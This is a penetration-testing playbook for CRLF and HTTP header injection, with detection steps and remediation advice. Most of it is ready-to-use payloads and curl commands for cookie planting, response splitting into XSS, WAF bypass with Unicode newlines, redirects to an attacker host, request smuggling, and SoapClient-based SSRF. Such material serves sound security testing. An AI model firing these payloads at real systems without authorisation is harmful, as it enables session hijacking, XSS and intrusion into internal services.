Testing for CRLF / HTTP Header Injection
When to Use
- When user input is reflected into a response header (
Set-Cookie,Location,X-*, custom headers) - When testing redirect parameters (
?url=,?next=,?redirect=) that feed aLocation:header - When the app writes user data into log files, session files, or memcache keys without sanitizing
\r\n - When an internal HTTP client (PHP
SoapClient, RestSharp, Refit, Go/Java HTTP libs) builds requests from user input — header injection there enables SSRF / request smuggling - When pre-auth session state is persisted to disk and later reloaded (newline injection can become an auth bypass)
Critical: Variants Most Often Missed
Scanners stop after the literal %0d%0a is filtered. Carriage Return is %0d (\r), Line Feed is %0a (\n). For EVERY reflected/redirect/log parameter, run the full matrix:
# 1. Header injection / cookie planting (single CRLF)
/%0d%0aSet-Cookie:%20mycookie=myvalue
/%0d%0aLocation:%20http://attacker.com
# 2. Response splitting → body injection → XSS (double CRLF ends headers)
?user_input=Value%0d%0a%0d%0a<script>alert(document.domain)</script>
/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
# 3. Inject Content-Encoding to force browser to render attacker body (Praetorian)
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
# 4. CRLF chained with open redirect filter bypass
//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
/www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
/google.com/%2F..%0D%0AHeader-Test:test2
# 5. Unicode newline bypass (WAF strips \r\n but back-end normalizes these)
%E5%98%8A = %0A (\u560a) %E5%98%8D = %0D (\u560d)
%E2%80%A8 = U+2028 LINE SEPARATOR
%E2%80%A9 = U+2029 PARAGRAPH SEPARATOR
%C2%85 = U+0085 NEXT LINE
# Overlong/UTF-8 combo payload:
%E5%98%8A%E5%98%8DSet-Cookie:%20test
/%0A%E2%80%A8Set-Cookie:%20admin=true
# 6. Connection keep-alive prefix injection → request smuggling / response queue poisoning
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
How to CONFIRM a hit (avoid false negatives)
Look at the RAW response (use curl -i / Burp, never a browser that re-renders):
- Header injection: the injected header appears as a real header line in the response (e.g., a new
Set-Cookie: mycookie=myvalueorHeader-Test: test2). Confirm it sits in the header block, not the body. - Response splitting: a second
HTTP/1.1 200 OKblock or your injectedContent-Type: text/htmlprecedes attacker-controlled body. Browser executes the<script>. - Open-redirect chain: a
302withLocation:pointing to your domain that the app never intended. - Blind / smuggling: out-of-band callback hits your collaborator, or the next user's response is desynced/poisoned.
- If literal
\r\nis stripped, a successful Unicode variant proves the back-end normalizesU+2028/2029/0085to\n.
Workflow
Step 1: Identify Reflection / Header Sinks
# Find params reflected into headers or redirects in Burp proxy history.
# Probe a redirect/header param and inspect raw response headers:
curl -i "https://target.example.com/redirect?url=test%0d%0aX-Injected:%20pwned"
curl -i "https://target.example.com/page?lang=en%0d%0aSet-Cookie:%20crlftest=1"
# If X-Injected / Set-Cookie shows in the header block → injectable.
Step 2: Exploit — Header Injection, Cookie Planting, Response Splitting
# Plant a cookie (session fixation)
curl -i "https://target.example.com/p?x=%0d%0aSet-Cookie:%20SESSION=attacker"
# Split the response and inject an XSS body
curl -i "https://target.example.com/p?x=val%0d%0a%0d%0a%3Cscript%3Ealert(document.domain)%3C/script%3E"
# Force the browser to render attacker HTML via Content-Encoding: identity
curl -i "https://target.example.com/p?x=v%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a%0d%0a<svg
# Path-based injection to fully control the response (Starbucks-style)
curl -i "https://target.example.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert(document.domain)%3C/script%3E"
Step 3: Escalate — Smuggling, SSRF via Internal Clients, Auth Bypass
// PHP SoapClient user_agent header injection → smuggle a full second request
$client = new SoapClient(null, array(
'uri' => 'http://127.0.0.1:9090/test',
'location' => 'http://127.0.0.1:9090/test',
'user_agent' => "IGN\r\n\r\nPOST /proxy HTTP/1.1\r\nHost: local.host.htb\r\n".
"Cookie: PHPSESSID=[PHPSESSID]\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: 19\r\n\r\nvariable=post value"
));
$client->__soapCall("test", []);
# Response-queue poisoning prefix (PortSwigger): keep connection open then smuggle
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
# Memcache injection (Zimbra-style): inject newline-delimited memcache commands via an
# unsanitized cache key to poison cached credentials.
For line-oriented pre-auth session stores, inject CRLF so the serialized session gains trusted keys (user=root, tfa_verified=1); trigger a session reload to upgrade a pre-auth session into a privileged one.
Key Concepts
| Concept | Description |
|---|---|
| CR / LF | \r (%0d) and \n (%0a); together they terminate HTTP header lines |
| HTTP Header Injection | Single CRLF lets attacker add headers (Set-Cookie, Location, CORS) |
| HTTP Response Splitting | Double CRLF (%0d%0a%0d%0a) ends the header block, allowing a forged body / second response |
| Unicode newline bypass | U+2028/U+2029/U+0085 and overlong %E5%98%8A normalize to \n after WAF stripping |
| Response queue poisoning | Smuggled request desyncs the connection so a later victim gets the attacker's response |
| Memcache injection | Newlines in a cache key inject clear-text memcache protocol commands |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept/repeat requests and read raw response headers; Intruder for parameter sweeps |
| CRLFsuite | Fast active CRLF scanner |
| crlfuzz | Wordlist-based fuzzer with Unicode newline payloads |
| crlfix | Tests CRLF handling in Go-generated HTTP requests / internal services |
| curl -i | Manual confirmation of injected headers in the raw response |
| Auto_Wordlists/crlf.txt | Curated CRLF payload list |
Common Scenarios
Scenario 1: Redirect Parameter → Set-Cookie
A ?url= redirect reflects into the Location header. ?url=%0d%0aSet-Cookie:%20SESSION=fixed plants an attacker-controlled session cookie, enabling session fixation.
Scenario 2: WAF Strips \r\n but Unicode Works
The proxy removes literal %0d%0a, so basic payloads fail. %E5%98%8A%E5%98%8DSet-Cookie:%20test is normalized to a real CRLF by the Java back-end and the header is injected — a confirmed bypass.
Scenario 3: Internal HTTP Client (CVE-2024-45302 RestSharp)
A back-end microservice builds requests with client.AddHeader("X-Foo", userInput). Injecting bar%0d%0aHost:evil adds a second Host header, enabling SSRF / request smuggling against internal services.
Output Format
## CRLF / HTTP Header Injection Finding
**Vulnerability**: CRLF Injection / HTTP Response Splitting
**Severity**: High (CVSS 7.4–8.8 depending on chain)
**Location**: GET /redirect?url=<CRLF payload>
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send: GET /redirect?url=val%0d%0aSet-Cookie:%20crlftest=1 HTTP/1.1
2. Observe raw response contains an injected header: Set-Cookie: crlftest=1
3. Escalate with %0d%0a%0d%0a<script>alert(document.domain)</script> to inject body/XSS
### Evidence
| Payload | Observed Header/Body | Effect |
|---------|----------------------|--------|
| %0d%0aSet-Cookie:... | Set-Cookie injected | Cookie planting / session fixation |
| %0d%0a%0d%0a<script>... | Reflected in body, executed | Stored/reflected XSS |
| Unicode %E5%98%8A%E5%98%8D | CRLF after normalization | WAF bypass |
### Impact
Cookie planting, XSS without script-in-body filters, cache poisoning, open-redirect chaining, and (via internal clients) SSRF / request smuggling.
### Recommendation
1. Never place raw user input into response headers; use framework header APIs that reject CR/LF.
2. Strip/encode CR, LF, and Unicode line terminators (U+2028, U+2029, U+0085) before use.
3. Update HTTP client libraries to versions that sanitize headers (e.g., RestSharp ≥110.2.0).
4. Use allow-lists for redirect targets and validate session/cache keys.